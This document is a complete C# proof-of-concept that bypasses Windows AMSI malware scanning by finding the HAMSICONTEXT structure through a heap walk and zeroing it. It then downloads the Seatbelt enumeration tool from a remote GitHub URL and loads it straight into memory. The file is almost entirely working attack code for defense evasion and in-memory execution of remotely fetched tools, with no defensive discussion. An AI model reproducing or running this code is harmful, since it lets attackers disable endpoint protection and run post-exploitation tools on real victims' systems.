AMSI bypass via HAMSICONTEXT corruption (Windows 11 supported)

Program.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Diagnostics;
using System.Threading;
using System.IO;
using System.Net;

namespace AmsiBypassHeap
{
    internal class Program
    {
        [Flags]
        public enum PROCESS_HEAP_ENTRY_WFLAGS : ushort
        {
            PROCESS_HEAP_ENTRY_BUSY = 0x0004,
            PROCESS_HEAP_ENTRY_DDESHARE = 0x0020,
            PROCESS_HEAP_ENTRY_MOVEABLE = 0x0010,
            PROCESS_HEAP_REGION = 0x0001,
            PROCESS_HEAP_UNCOMMITTED_RANGE = 0x0002,
        }
        [StructLayoutAttribute(LayoutKind.Explicit)]
        public struct UNION_BLOCK
        {
            [FieldOffset(0)]
            public STRUCT_BLOCK Block;

            [FieldOffset(0)]
            public STRUCT_REGION Region;
        }
        [StructLayoutAttribute(LayoutKind.Sequential)]
        public struct STRUCT_BLOCK
        {
            public IntPtr hMem;
            public uint dwReserved1_1;
            public uint dwReserved1_2;
            public uint dwReserved1_3;
        }
        [StructLayoutAttribute(LayoutKind.Sequential)]
        public struct STRUCT_REGION
        {
            public uint dwCommittedSize;
            public uint dwUnCommittedSize;
            public IntPtr lpFirstBlock;
            public IntPtr lpLastBlock;
        }
        [StructLayoutAttribute(LayoutKind.Sequential)]
        public struct PROCESS_HEAP_ENTRY
        {
            public IntPtr lpData;
            public uint cbData;
            public byte cbOverhead;
            public byte iRegionIndex;
            public PROCESS_HEAP_ENTRY_WFLAGS wFlags;
            public UNION_BLOCK UnionBlock;
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr GetProcessHeap();

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool HeapWalk(IntPtr hHeap, ref PROCESS_HEAP_ENTRY lpEntry);
        static void Main(string[] args)
        {
            // Initialize AMSI
            Assembly.Load(File.ReadAllBytes(@"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.dll"));

            IntPtr heap = GetProcessHeap();
            PROCESS_HEAP_ENTRY h = new PROCESS_HEAP_ENTRY();
            IntPtr appNameAddr = IntPtr.Zero;
            IntPtr hContextAddr = IntPtr.Zero;

            string appName = "DotNet";

            while (HeapWalk(heap, ref h))
            {
                if ((h.wFlags & PROCESS_HEAP_ENTRY_WFLAGS.PROCESS_HEAP_ENTRY_BUSY) != 0 && h.cbData >= appName.Length * 2)
                {
                    if (Marshal.PtrToStringUni(h.lpData) == appName)
                    {
                        appNameAddr = h.lpData;
                        Console.WriteLine("[*] Found appName: 0x{0}", appNameAddr.ToString("X"));
                        break;
                    }
                }
            }

            if (appNameAddr == IntPtr.Zero)
            {
                Console.WriteLine("[*] Could not locate appName");
                return;
            }

            h.lpData = IntPtr.Zero;
            while (HeapWalk(heap, ref h))
            {
                if ((h.wFlags & PROCESS_HEAP_ENTRY_WFLAGS.PROCESS_HEAP_ENTRY_BUSY) != 0 && h.cbData >= IntPtr.Size * 2)
                {
                    var addr = Marshal.ReadIntPtr(h.lpData, IntPtr.Size);
                    if (addr == appNameAddr)
                    {
                        hContextAddr = h.lpData;
                        Console.WriteLine("[*] Found HAMSICONTEXT address: 0x{0}", hContextAddr.ToString("X"));
                        break;
                    }
                }
            }

            if (hContextAddr == IntPtr.Zero)
            {
                Console.WriteLine("[*] Could not find HAMSICONTEXT");
                return;
            }

            Console.WriteLine("[*] Corrupting HAMSICONTEXT (Win 11 is supported)");
            var zero = new byte[IntPtr.Size * 3];
            Marshal.Copy(zero, 0, hContextAddr, IntPtr.Size * 3);

            Console.WriteLine("[*] Checking bypass, loading Seatbelt");
            var c = new WebClient();
            Assembly.Load(c.DownloadData(@"https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.5_Any/Seatbelt.exe"));

            Console.WriteLine("[*] AMSI has been successfully bypassed!");
            Console.ReadLine();
        }
    }
}